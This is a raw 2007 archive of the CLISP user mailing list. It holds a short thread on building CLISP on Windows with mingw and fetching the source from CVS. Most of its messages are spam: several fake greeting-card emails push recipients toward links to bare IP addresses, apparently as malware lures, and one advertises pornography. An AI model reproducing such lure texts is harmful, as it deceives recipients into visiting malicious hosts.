Received: from an-out-0708.google.com ([209.85.132.244]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IIwpn-0002cb-NP for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 18:29:07 -0700 Received: by an-out-0708.google.com with SMTP id b38so67329ana for ; Wed, 08 Aug 2007 18:29:06 -0700 (PDT) Received: by 10.100.153.17 with SMTP id a17mr1755887ane.1186622946765; Wed, 08 Aug 2007 18:29:06 -0700 (PDT) Received: by 10.100.95.15 with HTTP; Wed, 8 Aug 2007 18:29:06 -0700 (PDT) Message-ID: Date: Wed, 8 Aug 2007 19:29:06 -0600 From: "Jack Unrue" To: "Brian Elmegaard" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 01:29:16 -0000 On 8/8/07, Brian Elmegaard wrote: > I wrote: > > Or as I said above, build the latest from CVS. > > How do I get it? It is not clear for me from the sourceforge cvs > page. Is this the page you're looking at? http://sourceforge.net/cvs/?group_id=1355 Just follow the anonymous CVS access instructions provided there -- the module name to use is clisp -- Jack Unrue From lisp-clisp-list@m.gmane.org Thu Aug 09 01:15:16 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJ3Ap-0005c8-NG for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 01:15:15 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IJ3Al-00043R-V9 for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 01:15:14 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1IJ3Ae-0005N1-ND for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 10:15:04 +0200 Received: from dhcp9090.mek.dtu.dk ([130.226.19.90]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Aug 2007 10:15:04 +0200 Received: from be by dhcp9090.mek.dtu.dk with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Aug 2007 10:15:04 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Brian Elmegaard Date: Thu, 09 Aug 2007 07:14:52 -0100 Organization: MEK, DTU Lines: 10 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dhcp9090.mek.dtu.dk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (windows-nt) Cancel-Lock: sha1:IJ8tFKEw0rPmNreaXm6pnRBbQFg= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 08:15:16 -0000 "Jack Unrue" writes: > Is this the page you're looking at? Yes. It is obviously easy enough when you get a cvs client. Sorry. -- Brian (remove the sport for mail) http://www.et.web.mek.dtu.dk/Staff/be/be.html http://www.rugbyklubben-speed.dk From ugq@myacc.net Thu Aug 09 03:04:17 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJ4sJ-0000xa-Qj for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 03:04:16 -0700 Received: from p57b66304.dip.t-dialin.net ([87.182.99.4]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IJ4sH-0003OB-06 for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 03:04:15 -0700 Received: from cs.cfxds ([127.232.235.113]) by p57B66304.dip.t-dialin.net with Microsoft SMTPSVC(6.0.3790.0); Thu, 9 Aug 2007 12:03:29 +0200 Message-ID: <001301c7da6c$88e412c0$71ebe87f@cs.cfxds> From: "PostcardsFrom.Com" To: Date: Thu, 9 Aug 2007 12:03:29 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4131.1600 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4131.1600 X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [87.182.99.4 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.182.99.4 listed in combined.njabl.org] Subject: [clisp-list] You've received a postcard from a Colleague! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 10:04:17 -0000 Hi. Colleague has sent you a postcard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://12.205.107.143/?71c16a2e59b1283bd17061a8cb Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Administrator, PostcardsFrom.Com From lisp-clisp-list@m.gmane.org Thu Aug 09 04:29:00 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJ6CK-0001Vv-6F for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 04:29:00 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IJ6CI-0004QP-HZ for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 04:29:00 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1IJ6CC-0006CB-JV for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 13:28:52 +0200 Received: from dhcp9090.mek.dtu.dk ([130.226.19.90]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Aug 2007 13:28:52 +0200 Received: from be by dhcp9090.mek.dtu.dk with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 09 Aug 2007 13:28:52 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Brian Elmegaard Date: Thu, 09 Aug 2007 10:28:35 -0100 Organization: MEK, DTU Lines: 11 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dhcp9090.mek.dtu.dk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (windows-nt) Cancel-Lock: sha1:B4C+6vTiloPQcuBBo/AY2wy/qRs= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 11:29:00 -0000 "Jack Unrue" writes: > build at least one other prior release from source, I'd recommend > double-checking that you really are building 2.41 source. Or as > I said above, build the latest from CVS. I did now and I have the same test failure. -- Brian (remove the sport for mail) http://www.et.web.mek.dtu.dk/Staff/be/be.html http://www.rugbyklubben-speed.dk From sds@gnu.org Thu Aug 09 09:36:34 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJAzs-0006mL-Us for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 09:36:30 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IJAzr-0004dA-Cm for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 09:36:28 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A29A068C; Thu, 09 Aug 2007 12:36:42 -0400 Message-ID: <46BB4281.2030108@gnu.org> Date: Thu, 09 Aug 2007 12:36:17 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Jack Unrue References: In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp.cons.org index.html is MIA X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 16:36:34 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jack Unrue wrote: > Are the powers in charge of clisp.cons.org aware that attempts to get > index.html are currently resulting in a 404? thanks, should be fixed now. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGu0KBPp1Qsf2qnMcRAv63AJ9fn6DPYhwtF4GrYTcBuzXLTLGPpwCeKbue PUvAwepA6FVVgVaa5nj1N+8= =dZi+ -----END PGP SIGNATURE----- From ouobq@the-dma.org Thu Aug 09 19:25:23 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJKBk-0005II-Fo for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 19:25:23 -0700 Received: from [61.11.23.83] (helo=static23-83.dsl-pun.eth.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1IJKBj-0005T0-09 for clisp-list@lists.sourceforge.net; Thu, 09 Aug 2007 19:25:19 -0700 Received: from xwws.ockx ([181.74.64.231]) by static23-83.dsl-pun.eth.net with Microsoft SMTPSVC(5.0.2195.6713); Fri, 10 Aug 2007 07:55:15 +0530 Message-ID: <001d01c7daf5$afe7b870$e7404ab5@xwws.ockx> From: "riversongs.Com" To: Date: Fri, 10 Aug 2007 07:55:15 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4131.1600 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4131.1600 X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [61.11.23.83 listed in combined.njabl.org] Subject: [clisp-list] School-mate sent you a greeting ecard from riversongs.Com! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Aug 2007 02:25:24 -0000 School-mate has created an ecard for you at riversongs.Com, the Internet's most popular greeting card service. Your greeting card ID is: 01e5ee713076a3db573383e1a7 To see your custom greeting card, simply click on the link below: http://68.89.94.92/?01e5ee713076a3db573383e1a7 Send greeting cards from riversongs.Com whenever you want by visiting us at: http://riversongs.Com/ Copyright (c) 1996-2007 riversongs.Com All Rights Reserved From jvvvx@zi-mannheim.de Fri Aug 10 09:52:23 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IJXip-0005iv-3c for clisp-list@lists.sourceforge.net; Fri, 10 Aug 2007 09:52:23 -0700 Received: from 204-158.mh.dsl.seidata.com ([206.162.204.158]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IJXin-0007cK-F0 for clisp-list@lists.sourceforge.net; Fri, 10 Aug 2007 09:52:23 -0700 Received: from fdng.ay ([207.137.42.220]) by 204-158.mh.dsl.seidata.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 10 Aug 2007 12:52:23 -0400 Message-ID: <001b01c7db6e$d301bb20$dc2a89cf@fdng.ay> From: "123greetings.com" To: Date: Fri, 10 Aug 2007 12:52:23 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4029.2901 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4029.2901 X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 HELO_DYNAMIC_HCC Relay HELO'd using suspicious hostname (HCC) 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [206.162.204.158 listed in dnsbl.sorbs.net] Subject: [clisp-list] School-mate sent you a greeting card from 123greetings.com! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 10 Aug 2007 16:52:23 -0000 School-mate has created an ecard for you at 123greetings.com, the Internet's most popular greeting card service. Your greeting card ID is: 29367c0b58e47d14c775ed21 To see your custom greeting card, simply click on the link below: http://67.101.251.127/?29367c0b58e47d14c775ed21 Send greeting cards from 123greetings.com whenever you want by visiting us at: http://123greetings.com/ Copyright (c) 1996-2007 123greetings.com All Rights Reserved From direktion@jccottawa.com Sun Aug 12 22:23:52 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IKSPA-0003Ym-0z for clisp-list@lists.sourceforge.net; Sun, 12 Aug 2007 22:23:52 -0700 Received: from 42.12-157-90.telenet.ru ([90.157.12.42]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IKSP7-0005oo-TC for clisp-list@lists.sourceforge.net; Sun, 12 Aug 2007 22:23:51 -0700 Received: from bsc.bpsbt ([198.168.164.60]) by 42.12-157-90.telenet.ru with Microsoft SMTPSVC(5.0.2195.6713); Mon, 13 Aug 2007 11:21:37 +0600 Message-ID: <003001c7dd69$d29b5bd0$3ca4a8c6@bsc.bpsbt> From: To: Date: Mon, 13 Aug 2007 11:21:37 +0600 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Birthday postcard X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Aug 2007 05:23:52 -0000 Nephew(direktion@jccottawa.com) has created Birthday postcard for you at bluemountain.com. To see your custom Birthday postcard, simply click on the following Internet address (if your mail program doesn't support this feature you will need to COPY and PASTE the address into your browser's address box): http://70.117.11.92/?968911f6c37b5bc055a00675d60a Send a FREE greeting card from bluemountain.com whenever you want by visiting us at: http://bluemountain.com/ This service is provided and hosted by bluemountain.com. From Lorient1803@pipefab.com Mon Aug 13 18:41:06 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IKlP8-000263-JB for clisp-list@lists.sourceforge.net; Mon, 13 Aug 2007 18:41:06 -0700 Received: from [74.211.35.167] (helo=LEIF.pipefab.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1IKlP8-0005qT-8w for clisp-list@lists.sourceforge.net; Mon, 13 Aug 2007 18:41:06 -0700 From: "Ezra Sutherland" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1158 Thread-Index: Aca6Q9q5wi118s3ua68bimc3erkhg6== X-Spam-Score: -0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 MISSING_DATE Missing Date: header -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 INVALID_MSGID Message-Id is not valid, according to RFC 2822 Subject: [clisp-list] Fw: Re: Fotograife porno X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Tue, 14 Aug 2007 01:41:07 -0000 X-List-Received-Date: Tue, 14 Aug 2007 01:41:07 -0000 Videoporno con fighe giovani mentre praticano sesso sfrenato. Figa diciottenne fottuta pirma volta http://www.geocities.com/n_ripinax Jesus From tmgerdes@keystonegc.com Tue Aug 14 00:15:05 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IKqcL-0007zf-6U for clisp-list@lists.sourceforge.net; Tue, 14 Aug 2007 00:15:05 -0700 Received: from 125-26-203-19.adsl.totbb.net ([125.26.203.19]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IKqcI-0007Il-3e for clisp-list@lists.sourceforge.net; Tue, 14 Aug 2007 00:15:04 -0700 Received: from dk.vyvii ([59.147.55.228]) by 125-26-203-19.adsl.totbb.net with Microsoft SMTPSVC(6.0.3790.211); Tue, 14 Aug 2007 14:14:52 +0700 Message-ID: <002d01c7de42$cf3d5720$e437933b@dk.vyvii> From: To: Date: Tue, 14 Aug 2007 14:14:52 +0700 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Holiday card X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Aug 2007 07:15:06 -0000 Worshipper(tmgerdes@keystonegc.com) has created Holiday card for you at christianet.com. To see your custom Holiday card, simply click on the following Internet address (if your mail program doesn't support this feature you will need to COPY and PASTE the address into your browser's address box): http://84.58.198.52/?166b19e3393b5ca09ff74e8 Send a FREE greeting card from christianet.com whenever you want by visiting us at: http://christianet.com/ This service is provided and hosted by christianet.com. From fhuetz@stl.unitedway.org Wed Aug 15 02:55:59 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ILFbY-0004m1-Jg for clisp-list@lists.sourceforge.net; Wed, 15 Aug 2007 02:55:58 -0700 Received: from pptp.dynamic.n109h82.bashcell.com ([195.22.109.82]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ILFbW-0004MZ-4J for clisp-list@lists.sourceforge.net; Wed, 15 Aug 2007 02:55:56 -0700 X-AntiVirus: Checked by Dr.Web [version: 4.33, engine: 4.33.0.09273, virus records: 86054, updated: 26.08.2005] Received: from xwfe.wxfo ([221.176.73.102]) by pptp.dynamic.n109h82.bashcell.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 15 Aug 2007 16:07:39 +0600 Message-ID: <002901c7df24$1c89ad30$6649b0dd@xwfe.wxfo> From: To: Date: Wed, 15 Aug 2007 16:07:39 +0600 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1158 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Love postcard X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Aug 2007 09:55:59 -0000 Worshipper(fhuetz@stl.unitedway.org) has created Love postcard for you at 2000greetings.com. To see your custom Love postcard, simply click on the following link: http://66.51.154.71/ Send a FREE greeting card from 2000greetings.com whenever you want by visiting us at: This service is provided and hosted by 2000greetings.com. From dinand_xxx@vm-mail.com Thu Aug 16 04:54:16 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ILdvP-0001SH-6C for clisp-list@lists.sourceforge.net; Thu, 16 Aug 2007 04:54:12 -0700 Received: from p549635da.dip0.t-ipconnect.de ([84.150.53.218]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ILdvK-0005nU-9V for clisp-list@lists.sourceforge.net; Thu, 16 Aug 2007 04:54:01 -0700 Received: from anq.xla ([103.164.143.141]) by p549635DA.dip0.t-ipconnect.de with Microsoft SMTPSVC(5.0.2195.5329); Thu, 16 Aug 2007 13:53:58 +0200 Message-ID: <003001c7dffc$21735e30$8d8fa467@anq.xla> From: To: Date: Thu, 16 Aug 2007 13:53:58 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-1250"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1409 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [84.150.53.218 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [84.150.53.218 listed in combined.njabl.org] Subject: [clisp-list] Greeting e-card X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Aug 2007 11:54:16 -0000 Good day. Your Daughter has sent you Greeting e-card from marlo.com. Click on your card's direct www address below: http://220.9.224.36/ Copyright (c) 1991-2007 marlo.com All Rights Reserved From belphoo@dteenergy.com Thu Aug 16 05:57:30 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ILeuo-0000TO-9M for clisp-list@lists.sourceforge.net; Thu, 16 Aug 2007 05:57:30 -0700 Received: from pool-71-251-101-114.tampfl.fios.verizon.net ([71.251.101.114]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ILeun-0000g5-J3 for clisp-list@lists.sourceforge.net; Thu, 16 Aug 2007 05:57:29 -0700 Received: from xutfb.zw ([71.171.124.147]) by pool-71-251-101-114.tampfl.fios.verizon.net with Microsoft SMTPSVC(5.0.2195.5329); Thu, 16 Aug 2007 08:57:15 -0400 Message-ID: <002801c7e004$f83c2250$937cab47@xutfb.zw> From: To: Date: Thu, 16 Aug 2007 08:57:15 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1409 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Funny postcard X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Aug 2007 12:57:30 -0000 Good day. Your School mate has sent you Funny postcard from lavacards.com. Click on your card's direct www address below: http://80.64.21.181/ Copyright (c) 1994-2007 lavacards.com All Rights Reserved From Mattinglyxupmr@integration.riess.de Mon Aug 20 01:39:00 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IN2mq-0003Po-0L for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 01:39:00 -0700 Received: from [88.229.239.125] (helo=dsl88-229-61309.ttnet.net.tr) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IN2ml-0002Z8-V4 for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 01:38:58 -0700 Received: from user ([145.101.194.103] helo=user) by dsl88-229-61309.ttnet.net.tr ( sendmail 8.13.3/8.13.1) with esmtpa id 1YClSw-000HYH-Uh for clisp-list@lists.sourceforge.net; Mon, 20 Aug 2007 11:39:04 +0300 Message-ID: Date: Mon, 20 Aug 2007 11:38:53 +0300 From: "deedee Mattingly" User-Agent: Thunderbird 1.5.0.10 (Windows/20070221) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0622-2, 31.05.2006), Outbound message X-Antivirus-Status: Clean X-Spam-Score: 0.6 (/) 